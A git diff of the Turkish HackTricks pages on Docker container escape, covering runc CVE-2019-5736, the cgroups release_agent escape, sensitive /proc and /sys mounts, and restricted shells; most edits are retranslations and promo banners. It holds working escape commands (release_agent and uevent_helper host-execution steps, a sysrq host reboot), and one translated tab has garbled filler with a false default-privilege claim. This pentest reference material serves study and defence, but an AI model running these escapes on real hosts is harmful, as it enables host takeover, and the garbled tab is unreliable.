kontrol edebilirsiniz `/usr/bin/ipcs` ile. Şunu kontrol edin: `ipcs -a` ### Yetenekleri Kurtar @@ -480,7 +480,7 @@ cat /proc/self/status | grep CapEff ``` ### Kullanıcı ad alanı kötüye kullanımı simge bağlantısı aracılığıyla -İkinci teknik, [https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) gönderisinde açıklanan, kullanıcı ad alanlarıyla bağlantılı bağ montajlarını kötüye kullanarak ana makinedeki dosyaları etkileyebileceğinizi (belirli bir durumda dosyaları silmek) göstermektedir. +[https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) adresinde açıklanan ikinci teknik, kullanıcı ad alanlarıyla bağlantılı bağ montajlarını kötüye kullanarak ana makinedeki dosyaları etkilemenize (belirli bir durumda dosyaları silmenize) olanak tanır.
@@ -493,32 +493,32 @@ Bugün Erişim Alın: ### Runc açığı (CVE-2019-5736) -Eğer `docker exec`'i kök olarak çalıştırabiliyorsanız (muhtemelen sudo ile), CVE-2019-5736'yi kötüye kullanarak ayrıcalıkları yükseltmeyi deneyebilirsiniz (açık [burada](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Bu teknik temelde **ana makinedeki** _**/bin/sh**_ ikilisini **bir konteynerden üzerine yazacak**, böylece docker exec çalıştıran herkes tetikleyebilir. +Eğer `docker exec`'i kök olarak çalıştırabiliyorsanız (muhtemelen sudo ile), CVE-2019-5736'yı kötüye kullanarak ayrıcalıkları yükseltmeye çalışabilirsiniz (açık [burada](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Bu teknik temelde **ana makinedeki** _**/bin/sh**_ ikilisini **bir konteynerden üzerine yazacak**, bu sayede docker exec çalıştıran herkes yükleyiciyi tetikleyebilir. -Payload'ı değiştirin ve `go build main.go` ile main.go'yu derleyin. Oluşan ikili dosya docker konteynerine yürütme için yerleştirilmelidir.\ -Yürütme sırasında, `[+] Overwritten /bin/sh successfully` anında aşağıdakileri ana makineden yürütmeniz gerekmektedir: +Yükleyiciyi değiştirin ve `go build main.go` ile main.go'yu derleyin. Oluşan ikili dosya docker konteynerine yürütme için yerleştirilmelidir.\ +Yürütme sırasında, `[+] Overwritten /bin/sh successfully` göründüğünde, aşağıdakini ana makineden yürütmeniz gerekmektedir: `docker exec -it /bin/sh` -Bu, main.go dosyasında bulunan payload'ı tetikleyecektir. +Bu, main.go dosyasında bulunan yükleyiciyi tetikleyecektir. Daha fazla bilgi için: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html) {% hint style="info" %} -Konteynerin savunmasız olabileceği diğer CVE'ler bulunmaktadır, bir liste [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list) adresinde bulunabilir. +Konteynerin savunmasız olabileceği diğer CVE'ler bulunmaktadır, bir liste [burada](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list) bulunabilir. {% endhint %} ## Docker Özel Kaçış ### Docker Kaçış Yüzeyi -* **Ad alanları:** İşlem, ad alanları aracılığıyla diğer işlemlerden **tamamen ayrılmalıdır**, bu nedenle ad alanları nedeniyle diğer işlemlerle etkileşimden kaçınılamaz (varsayılan olarak IPC'ler aracılığıyla iletişim kurulamaz, unix soketleri, ağ hizmetleri, D-Bus, diğer işlemlerin `/proc`'u). +* **Ad alanları:** İşlem, ad alanları aracılığıyla diğer işlemlerden **tamamen ayrılmalıdır**, bu nedenle ad alanları nedeniyle diğer işlemlerle etkileşimden kaçınamayız (varsayılan olarak IPC'ler aracılığıyla iletişim kuramaz, unix soketleri, ağ hizmetleri, D-Bus, diğer işlemlerin `/proc`'u). * **Kök kullanıcı**: Varsayılan olarak işlemi çalıştıran kullanıcı kök kullanıcıdır (ancak ayrıcalıkları sınırlıdır). -* **Yetenekler:** Docker, aşağıdaki yetenekleri bırakır: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep` -* **Syscall'ler:** Bunlar, **kök kullanıcının** çağırabileceği syscall'lerdir (yetenek eksikliği + Seccomp nedeniyle diğer syscall'ler kaçırılabilir). +* **Yetenekler**: Docker, şu yetenekleri bırakır: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep` +* **Syscall'ler**: Bunlar, kök kullanıcının **çağıramayacağı syscalls'lerdir** (yetenek eksikliği + Seccomp nedeniyle). Diğer syscalls'ler kaçmaya çalışmak için kullanılabilir. {% tabs %} -{% tab title="x64 syscall'ler" %} +{% tab title="x64 syscalls" %} ```yaml 0x067 -- syslog 0x070 -- setsid @@ -561,7 +561,7 @@ Konteynerin savunmasız olabileceği diğer CVE'ler bulunmaktadır, bir liste [h ``` {% endtab %} -{% tab title="syscall_bf.c" %}Docker kaçışı, bir saldırganın Docker konteynerinden ana makineye erişim elde etmek için kullanabileceği bir yöntemdir. Bu, Docker'ın kötüye kullanılmasından kaynaklanan bir ayrıcalık yükseltme saldırısıdır. Saldırgan, Docker konteynerinde sınırlı bir kullanıcı olarak başlayabilir ve ardından Docker'ın sistem çağrılarını kullanarak ayrıcalıklı işlemler gerçekleştirebilir. Bu saldırı vektörüne karşı korunmak için Docker'ın güvenlik önlemlerini dikkatlice yapılandırmak önemlidir.{% endtab %} +{% tab title="syscall_bf.c" %}Bu, Docker kaçışı için bir örnek sistem çağrısı güvenlik açığıdır. Bu, bir Docker konteynerinden ana makineye erişim elde etmek için kullanılabilir. Bu yöntem, sistem çağrıları kullanarak kötü niyetli bir konteynerden kaçmak için bir yöntem sunar. Bu saldırı vektörü, Docker'ın varsayılan olarak etkinleştirilen `SYS_ADMIN` yetkisini kullanır. Bu yetki, sistem çağrılarını filtreleme yeteneği sağlar ve bu nedenle kötü niyetli bir konteynerin sistem çağrılarını filtrelemesini atlatmasına izin verebilir. Bu saldırı vektörü, bir Docker konteynerinde çalışan bir saldırganın, ana makinedeki dosya sistemi üzerinde okuma/yazma erişimine sahip olmasına olanak tanır. Bu saldırı vektörü, Docker'ın varsayılan güvenlik önlemlerini aşarak ana makinede kötü niyetli eylemlerde bulunmak için kullanılabilir. Bu nedenle, Docker konteynerlerinin güvenliğini sağlamak için bu tür saldırı vektörlerine karşı önlemler alınmalıdır. Bu örnek, Docker güvenliği ve ayrıcalık yükseltme konularında farkındalığı artırmayı amaçlamaktadır.{% endtab %} ````c // From a conversation I had with @arget131 // Fir bfing syscalss in x64 @@ -632,16 +632,17 @@ Get Access Today: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-breakout-privilege-escalation" %} +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Other ways to support HackTricks: - -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} diff --git a/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md b/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md index 5d531a370..ebb96d3e8 100644 --- a/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md +++ b/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md @@ -1,26 +1,27 @@ # Docker release\_agent cgroups kaçışı +{% hint style="success" %} +AWS Hacking'ı öğrenin ve uygulayın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} ### [WhiteIntel](https://whiteintel.io)
-[**WhiteIntel**](https://whiteintel.io) **karanlık ağ** destekli bir arama motorudur ve şirketin veya müşterilerinin **hırsız kötü amaçlı yazılımlar** tarafından **kompromize edilip edilmediğini** kontrol etmek için **ücretsiz** işlevler sunar. +[**WhiteIntel**](https://whiteintel.io), şirketin veya müşterilerinin **hırsız kötü amaçlı yazılımlar** tarafından **kompromize edilip edilmediğini** kontrol etmek için **ücretsiz** işlevler sunan **dark-web** destekli bir arama motorudur. -WhiteIntel'in başlıca amacı, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir. +WhiteIntel'in asıl amacı, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir. Websitesini ziyaret edebilir ve motorlarını **ücretsiz** deneyebilirsiniz: @@ -29,6 +30,8 @@ Websitesini ziyaret edebilir ve motorlarını **ücretsiz** deneyebilirsiniz: *** **Daha fazla ayrıntı için** [**orijinal blog gönderisine**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)** başvurun.** Bu sadece bir özet: + +Orijinal PoC: ```shell d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)` mkdir -p $d/w;echo 1 >$d/w/notify_on_release @@ -50,23 +53,23 @@ mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x ```shell echo 1 > /tmp/cgrp/x/notify_on_release ``` -3. **Yayımlama Ajanını Yapılandır:** -* Konteynerin ana bilgisayardaki yolu /etc/mtab dosyasından elde edilir. -* Ardından cgroup'ın release\_agent dosyası, elde edilen ana bilgisayar yolunda bulunan /cmd adlı bir betiği çalıştırmak üzere yapılandırılır. +3. **Yayınlayıcı Etkeni Yapılandırma:** +* Konteynerin ana makinedeki yolu /etc/mtab dosyasından elde edilir. +* Ardından cgroup'ın release\_agent dosyası, elde edilen ana makine yolunda bulunan /cmd adlı bir betiği çalıştırmak üzere yapılandırılır. ```shell host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` echo "$host_path/cmd" > /tmp/cgrp/release_agent ``` 4. **/cmd Betiği Oluşturun ve Yapılandırın:** -* /cmd betiği konteyner içinde oluşturulur ve ps aux komutunu çalıştırmak üzere yapılandırılır, çıktı /output adlı bir dosyaya yönlendirilir. Ana bilgisayar üzerindeki /output dosyasının tam yolu belirtilir. +* /cmd betiği konteyner içinde oluşturulur ve ps aux komutunu çalıştırmak üzere yapılandırılır, çıktı /output adlı bir dosyaya konteyner içinde yönlendirilir. Ana bilgisayar üzerinde /output'un tam yolu belirtilir. ```shell echo '#!/bin/sh' > /cmd echo "ps aux > $host_path/output" >> /cmd chmod a+x /cmd ``` 5. **Saldırıyı Tetikle:** -* Bir işlem "x" çocuk cgroups içinde başlatılır ve hemen sonlandırılır. -* Bu, `release_agent`'ı (the /cmd script) tetikler, bu da ana makinede ps aux komutunu çalıştırır ve çıktıyı konteyner içindeki /output'a yazar. +* Bir işlem "x" çocuk cgroup içinde başlatılır ve hemen sonlandırılır. +* Bu, `release_agent` (the /cmd script) tetikler ve ana makinede ps aux komutunu çalıştırır ve çıktıyı konteyner içinde /output'a yazar. ```shell sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" ``` @@ -76,22 +79,23 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" [**WhiteIntel**](https://whiteintel.io), şirketin veya müşterilerinin **hırsız kötü amaçlı yazılımlar** tarafından **kompromize edilip edilmediğini** kontrol etmek için **ücretsiz** işlevler sunan **dark-web** destekli bir arama motorudur. -WhiteIntel'in asıl amacı, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye saldırılarıyla mücadele etmektir. +WhiteIntel'in asıl amacı, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir. -Websitesini ziyaret edebilir ve motorlarını **ücretsiz** deneyebilirsiniz: +Websitesini ziyaret edebilir ve **ücretsiz** olarak motorlarını deneyebilirsiniz: {% embed url="https://whiteintel.io" %} +{% hint style="success" %} +AWS Hacking'ı öğrenin ve uygulayın:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'ı öğrenin ve uygulayın: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} diff --git a/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md b/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md index c963dff0f..1713655f0 100644 --- a/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md +++ b/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md @@ -1,18 +1,19 @@ # Hassas Bağlantı Noktaları +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert) ile! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.** +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* Hacking püf noktalarını paylaşarak PR'ler göndererek [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %}
@@ -31,7 +32,7 @@ Bu dizin, genellikle `sysctl(2)` aracılığıyla çekirdek değişkenlerini de #### **`/proc/sys/kernel/core_pattern`** * [core(5)](https://man7.org/linux/man-pages/man5/core.5.html) adresinde açıklanmıştır. -* Çekirdek dosyası oluşturulduğunda ilk 128 baytı argüman olarak alan bir programın tanımlanmasına izin verir. Dosya bir pipe `|` ile başlıyorsa kod yürütme olasılığı vardır. +* İlk 128 baytı argümanlar olarak alan bir programın çekirdek dosyası oluşturulduğunda çalıştırılmasına izin verir. Dosya bir boru `|` ile başlıyorsa kod yürütme olabilir. * **Test ve Sömürü Örneği**: ```bash @@ -44,7 +45,7 @@ sleep 5 && ./crash & # İşleyiciyi tetikle #### **`/proc/sys/kernel/modprobe`** * [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) adresinde detaylı olarak açıklanmıştır. -* Çekirdek modül yükleyicisinin yolunu içerir, çekirdek modüllerini yüklemek için çağrılır. +* Çekirdek modül yükleyicisinin yolunu içerir ve çekirdek modüllerini yüklemek için çağrılır. * **Erişimi Kontrol Etme Örneği**: ```bash @@ -53,8 +54,8 @@ ls -l $(cat /proc/sys/kernel/modprobe) # modprobe erişimini kontrol et #### **`/proc/sys/vm/panic_on_oom`** -* [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) adresinde referans olarak verilmiştir. -* Bir OOM durumu meydana geldiğinde çekirdeğin çökmesini veya OOM öldürücüyü çağırmasını kontrol eden global bir bayrak. +* [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) adresinde referans gösterilmiştir. +* Bir OOM durumu meydana geldiğinde çekirdeğin çökmesini veya OOM öldürücüyü çağırmasını kontrol eden genel bir bayrak. #### **`/proc/sys/fs`** @@ -65,7 +66,7 @@ ls -l $(cat /proc/sys/kernel/modprobe) # modprobe erişimini kontrol et * Sihirli sayılarına dayalı olmayan ikili biçimler için yorumlayıcıları kaydetmeye olanak tanır. * `/proc/sys/fs/binfmt_misc/register` yazılabilirse ayrıcalık yükseltmesine veya kök kabuk erişimine yol açabilir. -* İlgili sömürü ve açıklama: +* İlgili saldırı ve açıklama: * [binfmt\_misc ile yoksul adamın kök kiti](https://github.com/toffan/binfmt\_misc) * Detaylı öğretici: [Video bağlantısı](https://www.youtube.com/watch?v=WBC7hhgMvQQ) @@ -78,7 +79,7 @@ ls -l $(cat /proc/sys/kernel/modprobe) # modprobe erişimini kontrol et #### **`/proc/sysrq-trigger`** -* Sysrq komutlarını çağırmaya izin verir, potansiyel olarak anında sistem yeniden başlatmalar veya diğer kritik işlemlere neden olabilir. +* Sysrq komutlarını çağırmaya izin verir ve potansiyel olarak anında sistem yeniden başlatmalar veya diğer kritik işlemlere neden olabilir. * **Ana Bilgisayarı Yeniden Başlatma Örneği**: ```bash @@ -101,7 +102,7 @@ echo b > /proc/sysrq-trigger # Ana bilgisayarı yeniden başlatır * Çekirdek bellek cihazı `/dev/mem` ile etkileşim sağlar. * Tarihsel olarak ayrıcalık yükseltme saldırılarına karşı savunmasızdır. -* Daha fazla bilgi için [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) adresine bakabilirsiniz. +* Daha fazlası için [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) adresine bakın. #### **`/proc/kcore`** @@ -112,41 +113,41 @@ echo b > /proc/sysrq-trigger # Ana bilgisayarı yeniden başlatır #### **`/proc/kmem`** -* `/dev/kmem` için alternatif arayüz, çekirdek sanal belleğini temsil eder. +* Çekirdek sanal belleği temsil eden `/dev/kmem` için alternatif bir arayüz. * Okuma ve yazma izni verir, dolayısıyla çekirdek belleğinin doğrudan değiştirilmesine olanak tanır. #### **`/proc/mem`** -* `/dev/mem` için alternatif arayüz, fiziksel belleği temsil eder. -* Okuma ve yazma izni verir, tüm belleğin değiştirilmesi sanal adreslerin fiziksel adreslere çözülmesini gerektirir. +* Fiziksel belleği temsil eden `/dev/mem` için alternatif bir arayüz. +* Okuma ve yazma izni verir, tüm belleğin değiştirilmesi sanal adresleri fiziksel adreslere çözümlemeyi gerektirir. #### **`/proc/sched_debug`** * PID ad alanı korumalarını atlayarak işlem zamanlama bilgilerini döndürür. -* İşlem adlarını, kimlikleri ve cgroup kimliklerini açığa çıkarır. +* İşlem adlarını, kimlikleri ve cgroup tanımlayıcılarını açığa çıkarır. #### **`/proc/[pid]/mountinfo`** * İşlem bağlantı noktaları hakkında bilgi sağlar. -* Konteyner `rootfs` veya görüntünün konumunu açığa çıkarır. +* Konteynerin `rootfs` veya görüntünün konumunu açığa çıkarır. ### `/sys` Zafiyetleri #### **`/sys/kernel/uevent_helper`** -* Çekirdek cihaz `uevent`'lerini işlemek için kullanılır. +* Çekirdek cihaz `uevent`'leri işlemek için kullanılır. * `/sys/kernel/uevent_helper`'a yazmak, `uevent` tetikleyicileri üzerine keyfi komut dosyalarını yürütebilir. -* **Sömürü Örneği için**: %%%bash +* **Sömürü için Örnek**: %%%bash #### Bir yük oluşturur echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper -#### Konteyner için OverlayFS bağlantı noktasından ana bilgisayar yolunu bulur +#### OverlayFS bağlantı noktasından ana bilgisayar yolunu bulur host\_path=$(sed -n 's/._\perdir=(\[^,]_).\*/\1/p' /etc/mtab) -#### uevent_helper'ı kötü amaçlı yardımcıya ayarlar +#### uevent\_helper'ı kötü amaçlı yardımcıya ayarlar echo "$host\_path/evil-helper" > /sys/kernel/uevent\_helper @@ -173,7 +174,7 @@ cat /output %%% #### **`/sys/firmware/efi/vars` ve `/sys/firmware/efi/efivars`** * NVRAM'daki EFI değişkenleriyle etkileşim için arayüzler sunar. -* Yanlış yapılandırma veya istismar, tuğla gibi dizüstü bilgisayarlar veya başlatılamayan ana bilgisayar makinelerine yol açabilir. +* Yanlış yapılandırma veya kötüye kullanım, tuğla gibi olan dizüstü bilgisayarlar veya başlatılamayan ana bilgisayar makinelerine yol açabilir. #### **`/sys/kernel/debug`** @@ -190,16 +191,17 @@ cat /output %%% {% embed url="https://websec.nl/" %} +{% hint style="success" %} +AWS Hacking'ı öğrenin ve uygulayın:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'ı öğrenin ve uygulayın: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Red Team Expert)! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* Şirketinizi HackTricks'te **tanıtmak istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da takip edin 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* Hacking püf noktalarını paylaşarak PR'ler göndererek **HackTricks** ve **HackTricks Cloud** github depolarına katkıda bulunun.
+{% endhint %} diff --git a/linux-hardening/privilege-escalation/escaping-from-limited-bash.md b/linux-hardening/privilege-escalation/escaping-from-limited-bash.md index 70854b619..3d25c8cdf 100644 --- a/linux-hardening/privilege-escalation/escaping-from-limited-bash.md +++ b/linux-hardening/privilege-escalation/escaping-from-limited-bash.md @@ -1,27 +1,28 @@ # Hapishaneden Kaçış +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-AWS hackleme konusunda sıfırdan kahramana kadar öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +HackTricks'i Destekleyin -HackTricks'i desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** 